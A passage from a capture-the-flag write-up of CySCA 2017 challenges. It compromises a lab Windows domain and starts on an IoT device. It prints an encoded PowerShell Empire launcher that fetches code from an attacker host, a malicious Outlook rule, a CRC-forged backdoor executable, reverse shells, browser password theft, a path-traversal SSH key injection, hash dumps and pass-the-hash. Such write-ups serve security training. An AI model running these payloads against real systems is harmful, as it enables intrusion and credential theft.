2B2AC2D1C7C8FDA6CEA80B5FAD7563AA maps to the password of computer.\nWe can now use the credentials madisonw:computer to login to OWA at https://172.16.5.25/owa/\nHow can we use this access to get a shell or compromise the madisonw user?\nGoogling a bit on using outlook client access to gain a shell, we come across a nice blog article about Malicious Outlook Rules and we find a tool called ruler.\n\u0026ldquo;Ruler is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. The main aim is abuse the client-side Outlook features and gain a shell remotely.\u0026rdquo;\nSo, to summarise, we can use create a malicious outlook rule for the user to execute code / start an application on the user\u0026rsquo;s machine. The attack involves starting a WebDAV server on our attacker machine to serve an executable or script, and a reverse shell listener. We use ruler to create a malicious outlook rule to fetch our reverse shell executable / script from our WebDAV server and then send an email to the user to trigger the rule.\nSo let\u0026rsquo;s start Powershell Empire, set up a listener and create a batch script reverse shell:\nroot@kali:~/Empire# ./empire (Empire) \u0026gt; listeners [!] No listeners currently active (Empire: listeners) \u0026gt; set Host http://192.168.5.100 (Empire: listeners) \u0026gt; set Port 8080 (Empire: listeners) \u0026gt; run [*] Listener \u0026#39;test\u0026#39; successfully started. (Empire: listeners) \u0026gt; usestager launcher (Empire: stager/launcher) \u0026gt; set Listener test (Empire: stager/launcher) \u0026gt; execute powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAFkAUwBUAGUATQAuAE4ARQB0AC4AUwBFAFIAVgBpAGMAZQBQAE8AaQBuAFQATQBhAE4AYQBHAGUAcgBdADoAOgBFAFgAcABlAGMAVAAxADAAMABDAE8ATgB0AEkAbgBVAEUAIAA9ACAAMAA7ACQAdwBDAD0ATgBFAFcALQBPAGIAagBlAEMAVAAgAFMAeQBTAHQARQBNAC4ATgBFAFQALgBXAGUAYgBDAEwAaQBlAE4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAYwAuAEgAZQBhAEQAZQBSAHMALgBBAEQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAQwAuAFAAUgBPAHgAWQAgAD0AIABbAFMAeQBTAFQARQBNAC4ATgBFAFQALgBXAEUAQgBSAGUAUQB1AEUAcwB0AF0AOgA6AEQARQBGAEEAVQBsAHQAVwBFAEIAUAByAG8AWABZADsAJABXAGMALgBQAFIATwB4AHkALgBDAFIAZQBkAEUATgB0AGkAYQBsAHMAIAA9ACAAWwBTAFkAcwB0AEUATQAuAE4ARQBUAC4AQwByAEUAZABlAE4AVABJAGEAbABDAGEAYwBIAGUAXQA6ADoARABFAEYAQQBVAGwAVABOAGUAdAB3AG8AUgBLAEMAUgBFAGQAZQBuAHQASQBhAGwAUwA7ACQASwA9ACcAYQBiADYANgBhADAANQBlADAAYgA1ADMAZQA4ADEAZQA4ADMAOQBkAGYAZQAzADIANgAwADcANwA4ADgAMgAzACcAOwAkAEkAPQAwADsAWwBjAEgAYQBSAFsAXQBdACQAQgA9ACgAWwBDAEgAYQByAFsAXQBdACgAJAB3AEMALgBEAE8AdwBOAEwAbwBBAEQAUwB0AFIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADUALgAxADAAMAA6ADgAMAA4ADAALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAGIAWABvAFIAJABLAFsAJABpACsAKwAlACQAawAuAEwARQBuAGcAdABIAF0AfQA7AEkARQBYACAAKAAkAGIALQBKAG8ASQBOACcAJwApAA== We create a shell.bat file and include the contents above into it, and place it in the folder /root/Documents/CySCA/corporate/webdav-serve. Next, we can use golang with the webdavserv.go script provided by the creators of the ruler tool to start a WebDAV server as follows:\n$ go run webdavserv.go -d /root/Documents/CySCA/corporate/webdav-serve Next, we can use the following code to display the current outlook rules of the user madisonw:\n$ ./ruler-linux64 --insecure --url \u0026#34;https://autodiscover.tictoc.cysca/autodiscover/autodiscover.xml\u0026#34; --username madisonw --password computer --email madison.wilton@tictoc.cysca display Note that we guessed the autodiscover URL based upon examples provided on Ruler\u0026rsquo;s github page. From this command, we see that there are currently no outlook rules for madisonw. Next, we can use the following command to create a malicious outlook rule:\n$ ./ruler-linux64 --insecure --url \u0026#34;https://autodiscover.tictoc.cysca/autodiscover/autodiscover.xml\u0026#34; --email madison.wilton@tictoc.cysca --username madisonw add --location \u0026#34;\\\\\\\\192.168.5.100\\\\webdav\\\\shell.bat\u0026#34; --trigger \u0026#34;pop a bat shell\u0026#34; --name maliciousrule In the above line, we add an outlook rule which, when triggered, will download shell.bat from our WebDAV server and execute it. We named our rule maliciousrule and it will be triggered when madisonw receives an email with the subject of pop a bat shell.\nNow, we send an email to madison.wilton@tictoc.cysca from the OWA portal we are logged in to, with the subject of \u0026ldquo;pop a bat shell\u0026rdquo;, and we receive an reverse connection:\n(Empire: stager/launcher) \u0026gt; [+] Initial agent SDE3VALZ2GNZBZMT from 10.10.5.100 now active Great! We confirm our reverse shell as follows:\n(Empire: stager/launcher) \u0026gt; agents [*] Active agents: Name Internal IP Machine Name Username Process Delay Last Seen --------- ----------- ------------ --------- ------- ----- -------------------- SDE3VALZ2GNZBZMT 10.10.5.100 WORKSTATION TICTOC\\madisonw powershell/3180 5/0.0 2017-04-15 13:10:15 (Empire: agents) \u0026gt; interact SDE3VALZ2GNZBZMT (Empire: SDE3VALZ2GNZBZMT) \u0026gt; whoami TICTOC\\madisonw We fetch the flag from madison\u0026rsquo;s Desktop as follows:\n(Empire: SDE3VALZ2GNZBZMT) \u0026gt; pwd C:\\Users\\madisonw\\Desktop (Empire: SDE3VALZ2GNZBZMT) \u0026gt; ls LastWriteTime Length Name ------------- ------ ---- 15/03/2017 1:37:34 PM 282 desktop.ini 13/04/2017 1:53:17 PM 38 flag.txt 3/03/2017 2:58:04 PM 2691 Outlook 2013.lnk (Empire: SDE3VALZ2GNZBZMT) \u0026gt; cat flag.txt FLAG{CIC90HY7KUQRPWPW0XUNWBD4BZAI2051} There we go!\nChallenge 4: SUbterfuge # This challenge asks us to get root on madisonw\u0026rsquo;s machine.\nWe enumerate the machine looking for ways to escalate our privileges to Administrator. We could use scripts like PowerUp or JAWS to find vectors, however looking at some files on the filesystem showed us clues. Specifically, there was an AutoBackup folder in the root C:/ drive folder. This hints towards a backup script running automatically in the background, possibly in a scheduled task. Looking through the scheduled tasks on the machine, we find one interesting one:\n(Empire: SDE3VALZ2GNZBZMT) \u0026gt; shell schtasks /Query /tn \u0026#34;Run Backup Madison\u0026#34; /V /fo LIST Folder: \\ HostName: WORKSTATION TaskName: \\Run Backup Madison Next Run Time: N/A Status: Ready Logon Mode: Interactive/Background Last Run Time: 26/03/2017 4:19:50 PM Last Result: 0 Author: WORKSTATION\\Administrator Task To Run: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy unrestricted -WindowStyle Hidden -file \u0026#34;C:\\AutoBackup\\RunBackup.ps1\u0026#34; Start In: C:\\AutoBackup\\ Comment: Run Automatic backup for Madison Scheduled Task State: Enabled Idle Time: Disabled Power Management: Stop On Battery Mode Run As User: madisonw This scheduled task seems to execute a powershell script called RunBackup.ps1 in the AutoBackup folder, but it runs as the madisonw user. Let\u0026rsquo;s have a look at this powershell script:\n(Empire: SDE3VALZ2GNZBZMT) \u0026gt; cat RunBackup.ps1 \u0026lt;-----snip-----\u0026gt; #kill previous if running Stop-Process -Name \u0026#34;Backup\u0026#34; -Force -ErrorAction SilentlyContinue #Main $content = \u0026#34;Backup script running as \u0026#34; + ([Environment]::UserName) + \u0026#34; at \u0026#34; + (Get-Date -Format g) + $OFS $content \u0026gt;\u0026gt; \u0026#34;C:\\AutoBackup\\backup.log\u0026#34; $ChkFile = \u0026#34;C:\\AutoBackup\\Backup.exe\u0026#34; If ((Test-Path $ChkFile) -eq $True) { If ((Get-Crc32($ChkFile)) -eq \u0026#34;0xCA1114C9\u0026#34;){ $content = \u0026#34;Backup Successful for \u0026#34; + ([Environment]::UserName) + \u0026#34; at \u0026#34; + (Get-Date -Format g) + $OFS $content \u0026gt;\u0026gt; \u0026#34;C:\\AutoBackup\\backup.log\u0026#34; Start-Process -FilePath $ChkFile -Wait } else { $content = \u0026#34;Backup.exe Checksum failed!!\u0026#34; + $OFS $content \u0026gt;\u0026gt; \u0026#34;C:\\AutoBackup\\backup.log\u0026#34; } } I cut off a majority of the script, and showed the main components. Specifically, you can see above that the PS1 script writes logs to backup.log in the same folder, looks for an executable at C:\\AutoBackup\\Backup.exe, checks if the CRC32 of this file equals 0xCA1114C9, and executes the file is the checksum matches.\nLet\u0026rsquo;s have a look at the backup logs:\n(Empire: SDE3VALZ2GNZBZMT) \u0026gt; shell Get-Content backup.log | Select-Object -Last 10 Backup Successful for markmctarget at 16/04/2017 2:41 PM Backup script running as markmctarget at 16/04/2017 2:42 PM Backup Successful for markmctarget at 16/04/2017 2:42 PM Backup script running as markmctarget at 16/04/2017 2:43 PM Backup Successful for markmctarget at 16/04/2017 2:43 PM Interestingly, we see that the backup script is actually being run by markmctarget! If we can somehow get our own code executed by this script, we can gain execution as markmctarget. So, let\u0026rsquo;s use the cacls command to see if we can edit the files in question. We have a look at the PS1 script but unfortunately find that it\u0026rsquo;s not editable by our user. We then look at Backup.exe and see the following:\n(Empire: SDE3VALZ2GNZBZMT) \u0026gt; shell cacls Backup.exe C:\\AutoBackup\\Backup.exe NT AUTHORITY\\Authenticated Users:(ID)C NT AUTHORITY\\SYSTEM:(ID)F BUILTIN\\Administrators:(ID)F BUILTIN\\Users:(ID)R Here, we see that all users in the NT AUTHORITY\\Authenticated Users group have the ability to change the file. The output of cacls can be interpreted using the cacls documentation found here.\nGreat! So we can change the executable to our own executable. However, we still have to match the CRC32 check that is done in the PS1 script. Unfortunately we cannot remove this check from the PS1 script as we cannot change it, but we can write our own executable and somehow get its CRC32 value to match 0xCA1114C9.\nFirst, we can create our own malicious executable as follows:\n$ cat Dev-backup.c #include \u0026amp;lt;stdio.h\u0026gt; #include \u0026amp;lt;stdlib.h\u0026gt; int main() { int x = \u0026#34; + str(randomValue) + \u0026#34;; system(\u0026#34;c:\\\\Users\\\\madisonw\\\\Documents\\\\shell.bat\u0026#34;); return 0; } $ i686-w64-mingw32-gcc Dev-Backup.c -o Backup.exe In the above, we create a C script which will execute a batch script. We will eventually upload this shell.bat to madisonw\u0026rsquo;s Documents folder so that our malicious Backup.exe can find it. Note that the compiler I used to compile the c script into an executable can be installed on Kali using apt-get install gcc-mingw-w64-i686.\nGoogling for a way to change the file so that the CRC32 matches to a value of our choosing, we find the following article: https://www.nayuki.io/page/forcing-a-files-crc-to-any-value This article mentions a python script named forcecrc32.py which takes in the CRC32 value you want to match and the byteoffset of 4 characters you are happy to change in your file. We run this python script as follows:\n$ python forcecrc32.py Backup.exe 2434 CA1114C9 Original CRC-32: 400B89A6 Computed and wrote patch New CRC-32 successfully verified Note that we picked a byteoffset of 2434 as the byte values at this location in the executable seemed like they did not affect the actual functionality of the executable. The original bytes of the executable were as follows:\n$ xxd -s 2434 Backup.exe | head 00000982: aaaa aaaa c704 2424 4040 00e8 1a11 0000 ......$$@@...... 00000992: b800 0000 00c9 c390 9090 6690 6690 5383 ..........f.f.S. 000009a2: ec28 a1e4 5340 0089 0424 e87f 0400 0083 .(..S@...$...... 000009b2: f8ff 8944 2418 0f84 8200 0000 c704 2408 ...D$.........$. 000009c2: 0000 00e8 4211 0000 a1e4 5340 0089 0424 ....B.....S@...$ 000009d2: e859 0400 0089 4424 18a1 e053 4000 8904 .Y....D$...S@... 000009e2: 24e8 4804 0000 8944 241c 8d44 241c 8944 $.H....D$..D$..D 000009f2: 2408 8d44 2418 8944 2404 8b44 2430 8904 $..D$..D$..D$0.. 00000a02: 24e8 3c11 0000 89c3 8b44 2418 8904 24e8 $.\u0026lt;......D$...$. 00000a12: 2a04 0000 a3e4 5340 008b 4424 1c89 0424 *.....S@..D$...$ Anyway, now that we have our new Backup.exe that matches the correct CRC32 value, we can upload it to the server and replace the executable in the AutoBackup folder. Remember to also upload our shell.bat powershell empire script also.\n(Empire: SDE3VALZ2GNZBZMT) \u0026gt; pwd C:\\Users\\madisonw\\Documents (Empire: SDE3VALZ2GNZBZMT) \u0026gt; upload /root/Documents/CySCA/corporate/webdav-serve/webdav/shell.bat (Empire: SDE3VALZ2GNZBZMT) \u0026gt; cd C:\\AutoBackup (Empire: SDE3VALZ2GNZBZMT) \u0026gt; upload /root/Documents/CySCA/corporate/subterfuge/Backup.exe (Empire: SDE3VALZ2GNZBZMT) \u0026gt; [+] Initial agent 3ZMXB13RAYTAAPMS from 10.10.5.100 now active After a minute or so, we can see above that we receive another reverse shell! This time, we can see that it is a shell with Administrative privileges (as denoted by the asterisk in Powershell Empire):\n(Empire: SDE3VALZ2GNZBZMT) \u0026gt; agents [*] Active agents: Name Internal IP Machine Name Username Process Delay Last Seen --------- ----------- ------------ --------- ------- ----- -------------------- SDE3VALZ2GNZBZMT 10.10.5.100 WORKSTATION TICTOC\\madisonw powershell/5464 5/0.0 2017-04-17 13:12:15 3ZMXB13RAYTAAPMS 10.10.5.100 WORKSTATION *TICTOC\\markmctargetpowershell/3864 5/0.0 2017-04-17 13:12:13 Now we can interact with this new agent, escalate our privileges to SYSTEM (as we have administrative privileges) and get the flag:\n(Empire: agents) \u0026gt; interact 3ZMXB13RAYTAAPMS (Empire: 3ZMXB13RAYTAAPMS) \u0026gt; usemodule privesc/getsystem (Empire: privesc/getsystem) \u0026gt; execute [\u0026gt;] Module is not opsec safe, run? [y/N] y (Empire: privesc/getsystem) \u0026gt; Running as: TICTOC\\SYSTEM Get-System completed (Empire: agents) \u0026gt; interact 3ZMXB13RAYTAAPMS (Empire: 3ZMXB13RAYTAAPMS) \u0026gt; ls (Empire: 3ZMXB13RAYTAAPMS) \u0026gt; LastWriteTime Length Name ------------- ------ ---- 13/04/2017 1:53:17 PM 38 flag.txt (Empire: 3ZMXB13RAYTAAPMS) \u0026gt; cat flag.txt (Empire: 3ZMXB13RAYTAAPMS) \u0026gt; FLAG{MXW8S9SHYDLM8C9OPJJZ7DCDH8KE2020} There you go!\nChallenge 5: Delta Factor # This challenge asks us to compromise the Backup server using our current access as markmctarget.\nCurrently, we have compromised markmctarget / madisonw\u0026rsquo;s computer, but it is not directly accessible by our attacker machine. We can get a reverse shell, but we cannot hit services running on the machine such as RDP. Let\u0026rsquo;s see how we can solve this problem later.\nFirst, let\u0026rsquo;s have a look around the box and enumerate a bit more. Powershell Empire provides modules for collection of data post exploitation. One such module is to collect browser data:\n(Empire: collection/browser_data) \u0026gt; usemodule collection/browser_data (Empire: collection/browser_data) \u0026gt; execute Job started: Debug32_2ktyr Browser User DataType Data ------- ---- -------- ---- IE markmctarget History https://autodiscover.tictoc.cysca/ecp/PersonalSettings/EditAccount.aspx?rfr=olk\u0026amp;chgPh... IE markmctarget History http://go.microsoft.com/fwlink/p/?LinkId=255141 IE Administrator Bookmark http://go.microsoft.com/fwlink/p/?LinkId=255142 IE madisonw Bookmark http://go.microsoft.com/fwlink/p/?LinkId=255142 IE markmctarget Bookmark http://go.microsoft.com/fwlink/p/?LinkId=255142 Firefox markmctarget History http://backup.tictoc.cysca Firefox markmctarget History http://www.mozilla.org Firefox markmctarget History http://www.tictoc.cysca Get-BrowserData completed! From the results of this collection module, we can see that markmctarget visited backup.tictoc.cysca and www.tictoc.cysca!\nWe get the IP address of as backup.tictoc.cysca follows:\n(Empire: 3ZMXB13RAYTAAPMS) \u0026gt; shell nslookup backup.tictoc.cysca Server: dc.tictoc.cysca Address: 10.10.5.10 Name: backup.tictoc.cysca Address: 10.10.5.104 Now, let\u0026rsquo;s try to get on RDP on our compromised workstation and access the backup website from there.\nThe way I thought of doing this was to use meterpreter\u0026rsquo;s portfwd feature to forward the RDP port to my local attacker machine. So first, let\u0026rsquo;s start a meterpreter listener:\nmsf exploit(handler) \u0026gt; set payload windows/meterpreter/reverse_https msf exploit(handler) \u0026gt; set LHOST 192.168.5.101 msf exploit(handler) \u0026gt; set LPORT 8081 msf exploit(handler) \u0026gt; exploit [*] Started HTTPS reverse handler on https://192.168.5.101:8081 [*] Starting the payload handler... [*] https://192.168.5.101:8081 handling request from 10.10.5.100; (UUID: t9jtkiwp) Staging x86 payload (958531 bytes) ... And then we can invoke shellcode and connect to this listener from our Empire agent as follows:\n(Empire: collection/browser_data) \u0026gt; usemodule code_execution/invoke_shellcode (Empire: code_execution/invoke_shellcode) \u0026gt; set Lport 8081 (Empire: code_execution/invoke_shellcode) \u0026gt; set Lhost 192.168.5.101 (Empire: code_execution/invoke_shellcode) \u0026gt; execute We then receive our meterpreter reverse shell:\n[*] Meterpreter session 1 opened (192.168.5.101:8081 -\u0026gt; 10.10.5.100:53770) at 2017-04-18 22:00:52 +1000 meterpreter \u0026gt; getuid Server username: TICTOC\\markmctarget Finally, we can setup a port forward to be able to access RDP directly from our attacker machine:\nmeterpreter \u0026gt; portfwd add -l 3389 -p 3389 -r 127.0.0.1 Now we use rdesktop 127.0.0.1 and the credentials TICTOC\\madisonw:computer to authenticate to the workstation. We can then open a browser and access http://backup.tictoc.cysca. Here, we are provided with a login page. We need to get credentials somehow. As we saw markmctarget access the backup website through firefox, maybe we can get browser credential data from firefox.\nResearching online, we find a tool called LaZagne which \u0026ldquo;is an open source application used to retrieve lots of passwords stored on a local computer\u0026rdquo; including credentials from browsers. Let\u0026rsquo;s go to the Releases page on this github, and get the laZagne.exe file. We then upload it to markmctarget\u0026rsquo;s workstation and execute it from Powershell Empire:\n(Empire: actuallyMark32) \u0026gt; shell C:\\Users\\markmctarget\\Documents\\laZagne.exe browsers -f |====================================================================| | | | The LaZagne Project | | | | ! BANG BANG ! | | | |====================================================================| ########## User: markmctarget ########## ------------------- Firefox passwords ----------------- Password found !!! URL: http://backup.tictoc.cysca Login: markmctarget Password: GOD Alright! We now have credentials for http://backup.tictoc.cysca\nTo generate the TokenCode for the website we want to login to, we actually have to use python code provided within the SecurityToken folder on markmctarget\u0026rsquo;s Desktop. We setup the IoT device used in the IoT challenges with the password 2fa generating firmware found in this folder and then run python code on main.py to generate the security tokens.\nOnce logged in to the backup website, we are introduced to a website which allows us to upload a SSH public key to the authorized_keys file for markmctarget. Let\u0026rsquo;s play around with this website by port forwarding port 80 on the web server to our local attacker machine:\nmeterpreter \u0026gt; portfwd add -l 8082 -p 80 -r 10.10.5.104 Playing around with the web requests, we figure out that a cookie value is used to determine which folder the server looks into to add to the authorized_keys file. We can change the cookie value to change the folder in which the authorized_keys file is added to. So, as long as the web server has permissions to write to this file, we can add our SSH key to root\u0026rsquo;s authorised_keys file!\nPOST / HTTP/1.1 Host: 127.0.0.1:8082 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://127.0.0.1:8082/ Cookie: csrftoken=90ZBvy5hp7dzi4lBRixLbEeB0CEaol7j; sessionid=tvtrso6pgaze51gp9h1fceqyavq98iqw; linuxgid=0; linuxuid=0; linuxuser=../root Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 477 csrfmiddlewaretoken=90ZBvy5hp7dzi4lBRixLbEeB0CEaol7j\u0026amp;newkey=ssh-rsa+AAAAB3NzaC1yc2EAAAADAQABAAABAQDIJXQyicPs2Hab0tpCDLHYso6nD9TrRfV2wCkJVEG/LpWInKjIapsxd7zRvciN00mO8ht9vaw8d%2bcsNXZMxbvwsIUWSOJJB1StANrsv3f7PW4BX9WUCxXNVn6D62XJvL5a84ObIPMWscfiz837vQX8QXH5Dv%2bWtxCUCuVTcHC2Cm4AD%2bSkNKFVd9Ef3ohIOA3PsiVWWFe3DLcVKeh0M3JoCulGUyRG8ufoU3D/XMZQIXWGIdxmPAZzVnu7YNJ%2bwOMYh3jtGcDMQou6BjS/KS3Fdtm3CL0FshtUhhmNy6nb7EI%2bqE/rz8ApSoXFMqOMPYPNdtbOH%2boSkV8pgERXGBzz+root%40kali\u0026amp;submit=ADD+Key Having changed the linuxuser variable to ../root, our SSH public key gets added to root\u0026rsquo;s authorized_keys file, and we are then able to SSH to root on the backup server!\nFirst, we port forward the SSH port on the backup server so that we can access it from our kali machine, and then we SSH using the private key that pairs with the public key we added above:\nmeterpreter \u0026gt; portfwd add -l 2222 -p 22 -r 10.10.5.104 root@kali:~# ssh root@127.0.0.1 -p 2222 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Apr 11 11:49:14 2017 root@BackupServer:~# id uid=0(root) gid=0(root) groups=0(root) root@BackupServer:~# uname -a Linux BackupServer 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u2 (2017-03-07) x86_64 GNU/Linux root@BackupServer:~# cat flag.txt FLAG{HMUKYIH6DC453LHJGC96NZA9MWDV1967} Challenge 5 complete!\nChallenge 6: 70\u0026rsquo;s Chocolate # In this challenge, we are asked to compromise the DC server in the tictoc.cysca domain.\nLooking around the backup server, we find a very interesting readme file in the /BACKUPS folder:\nroot@BackupServer:/BACKUPS# cat readme This folder contains the core file backups from the Domain Controllers. This was setup in the event migration to a new Windows Server version Failed. It looks like there are core Windows files stored in this Backups folder! We can use the following commands to copy the DC and BackupDC\u0026rsquo;s SAM, SECURITY and SYSTEM files to our local kali machine:\n$ scp -P 2222 root@127.0.0.1:/BACKUPS/DC/SAM . $ scp -P 2222 root@127.0.0.1:/BACKUPS/DC/SECURITY . $ scp -P 2222 root@127.0.0.1:/BACKUPS/DC/SYSTEM . $ scp -P 2222 root@127.0.0.1:/BACKUPS/BackupDC/SAM . $ scp -P 2222 root@127.0.0.1:/BACKUPS/BackupDC/SECURITY . $ scp -P 2222 root@127.0.0.1:/BACKUPS/BackupDC/SYSTEM . With these files, there are many tools to extract credentials including passwords and hashes from them. My favourite is Impacket\u0026rsquo;s secretsdump.py which can be used as follows:\nroot@kali:~/Documents/CySCA/corporate/70schocolate/BackupDC# secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies [*] Target system bootKey: 0xc5c430dd324e865569b79dee6003caf2 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:9102f2abb7087043adf5344b8566d072::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain) [*] Dumping LSA Secrets [*] $MACHINE.ACC $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:0afd89a7c973d77553ff5b182db22554 We could try PTH or cracking the local SAM hashes, however the machine account credentials are very interesting! As we know these credentials came from a Backup DC server, it can be assumed that this Machine Account also has access to replicate Active Directory from the DC. Additionally, we know from previously running nslookup commands that the IP address of the DC is 10.10.5.10.\nThe blog post here talks about how we can use the machine account credentials to replicate AD. Amazingly, the same tool we used before can be used for this, secretsdump.py. However, we will need access to the SMB ports, 135 and 445, so that we can talk to the DC from our kali machine:\nmeterpreter \u0026gt; portfwd add -l 135 -p 135 -r 10.10.5.10 [*] Local TCP relay created: :135 \u0026lt;-\u0026gt; 10.10.5.10:135 meterpreter \u0026gt; portfwd add -l 445 -p 445 -r 10.10.5.10 [*] Local TCP relay created: :445 \u0026lt;-\u0026gt; 10.10.5.10:445 Next, we use secretsdump.py to replicate AD and download the hashes stored in it:\nroot@kali:~/Documents/CySCA/corporate/70schocolate/BackupDC# secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0afd89a7c973d77553ff5b182db22554 -just-dc-ntlm TICTOC/BackupDC\\$@127.0.0.1 Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies [*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets tictoc.cysca\\Administrator:500:aad3b435b51404eeaad3b435b51404ee:0bcbdad17128326964ff65849559b685::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3b3890aa39d90a4a249fb71b71b5ec66::: I have cut out most of the output of this command as there were many, many more hashes in the output. The main one we care about, however, is the Administrator account for the tictoc.cysca domain.\nAs we still have our PowerShell Empire listener running, we can simply use metasploit\u0026rsquo;s psexec_psh module to execute our Empire reverse shell payload:\nmsf exploit(handler) \u0026gt; use exploit/windows/smb/psexec_psh msf exploit(psexec_psh) \u0026gt; set SMBPASS aad3b435b51404eeaad3b435b51404ee:0bcbdad17128326964ff65849559b685 msf exploit(psexec_psh) \u0026gt; set SMBUSER Administrator msf exploit(psexec_psh) \u0026gt; set SMBDomain tictoc.cysca msf exploit(psexec_psh) \u0026gt; set RHOST 10.10.5.10 msf exploit(psexec_psh) \u0026gt; set payload windows/exec msf exploit(psexec_psh) \u0026gt; set CMD powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAFkAUwBUAGUAbQAuAE4ARQB0AC4AUwBlAFIAdgBJAGMARQBQAG8AaQBOAHQATQBBAG4AYQBHAEUAUgBdADoAOgBFAHgAUABFAEMAdAAxADAAMABDAG8ATgBUAEkAbgB1AEUAIAA9ACAAMAA7ACQAVwBDAD0ATgBlAFcALQBP... msf exploit(psexec_psh) \u0026gt; exploit And we receive a shell on PowerShell Empire! It should be noted however that for some reason we receive a shell as SYSTEM rather than as Administrator:\n(Empire: stager/launcher) \u0026gt; [+] Initial agent LTZHYN1FSPDX2FCL from 10.10.5.10 now active (Empire: stager/launcher) \u0026gt; agents [*] Active agents: Name Internal IP Machine Name Username Process Delay Last Seen --------- ----------- ------------ --------- ------- ----- -------------------- LTZHYN1FSPDX2FCL 10.10.5.10 DC *TICTOC\\SYSTEM powershell/8384 5/0.0 2017-04-20 21:56:28 As the flag for this challenge is only readable by Administrator, and not SYSTEM (the irony\u0026hellip;), we have to impersonate the Administrator\u0026rsquo;s token to read the flag. The way I did this was to first gain a meterpreter shell again, and then impersonate Administrator\u0026rsquo;s token using a build in meterpreter command:\n(Empire: code_execution/invoke_metasploitpayload) \u0026gt; usemodule code_execution/invoke_shellcode (Empire: code_execution/invoke_shellcode) \u0026gt; set Lport 8081 (Empire: code_execution/invoke_shellcode) \u0026gt; set Lhost 192.168.5.100 (Empire: code_execution/invoke_shellcode) \u0026gt; execute msf exploit(handler) \u0026gt; exploit [*] Started HTTPS reverse handler on https://192.168.5.100:8081 [*] Starting the payload handler... [*] https://192.168.5.100:8081 handling request from 10.10.5.10; (UUID: mvqhismu) Staging x86 payload (958531 bytes) ... [*] Meterpreter session 2 opened (192.168.5.100:8081 -\u0026gt; 10.10.5.10:28111) at 2017-04-20 22:43:44 +1000 meterpreter \u0026gt; getuid Server username: NT AUTHORITY\\SYSTEM meterpreter \u0026gt; use incognito Loading extension incognito...success. meterpreter \u0026gt; list_tokens -u Delegation Tokens Available ======================================== IIS APPPOOL\\DefaultAppPool NT AUTHORITY\\IUSR NT AUTHORITY\\LOCAL SERVICE NT AUTHORITY\\NETWORK SERVICE NT AUTHORITY\\SYSTEM TICTOC\\Administrator Window Manager\\DWM-1 Impersonation Tokens Available ======================================== NT AUTHORITY\\ANONYMOUS LOGON TICTOC\\DC$ TICTOC\\madisonw TICTOC\\WORKSTATION$ meterpreter \u0026gt; impersonate_token TICTOC\\\\Administrator [+] Delegation token available [+] Successfully impersonated user TICTOC\\Administrator meterpreter \u0026gt; getuid Server username: TICTOC\\Administrator meterpreter \u0026gt; cd flag meterpreter \u0026gt; cat flag.txt FLAG{6SFK6EANGWWV70A163KIUEQJMLA51929} We have successfully compromised the DC!\nChallenge 7: Alone in the wilderness # Unfortunately I did not get to complete this one, but it looked like a buffer overflow + ret2libc challenge binary, with the server running on 10.10.5.111, port 31337.\nLet\u0026rsquo;s move on to the very interesting IoT challenges!\nCySCA 2017 IoT Challenges # For these challenges, we are provided a physical ESP8266 microchip, with a Wi-fi module, a full TCP/IP stack and a microcontroller for executing code.\nThe ESP8266 microchip comes with a wi-fi module, so we can connect it to a wi-fi hotspot. Using a USB Wi-fi adapter I owned, I knew I could put my kali machine and the microchip on the same wi-fi network.\nWe connect the Wi-Fi usb adapter to the kali VM and set it up as hotspot (see this video for a guide). Then, we start the IoT device and connect to the hotspot with the credentials that we setup when creating the hotspot.\nChallenge 1: Take a Peak # The first challenge was to dump the firmware from the device itself. This is quite simply with a tool called esptool.py. We connect the IoT device via USB to our kali VM and dump the firmware as follows:\nroot@kali:~/Documents/CySCA# esptool.py --port /dev/ttyUSB0 read_flash 0 0x9a000 read_flash_output_0x9a000.bin This reads from the offset of 0x9a000 and outputs the flash contents to a file called read_flash_output_0x9a000.bin. Note that I had to have the device disconnected from screen, and press the reset button on the device while the above command was running.\nChallenge 2: Whoop Whoop Whoop # As we have the device connected to our Wi-fi hotspot, we can monitor the traffic that the device sends out using the adapter on the wi-fi network connected to our Kali VM.\nUsing Wireshark, we notice the following request coming from the IoT device:\nPOST /data HTTP/1.0 Host: tempsensor.cysca Content-Type: application/x-www-form-urlencoded Content-Length: 227 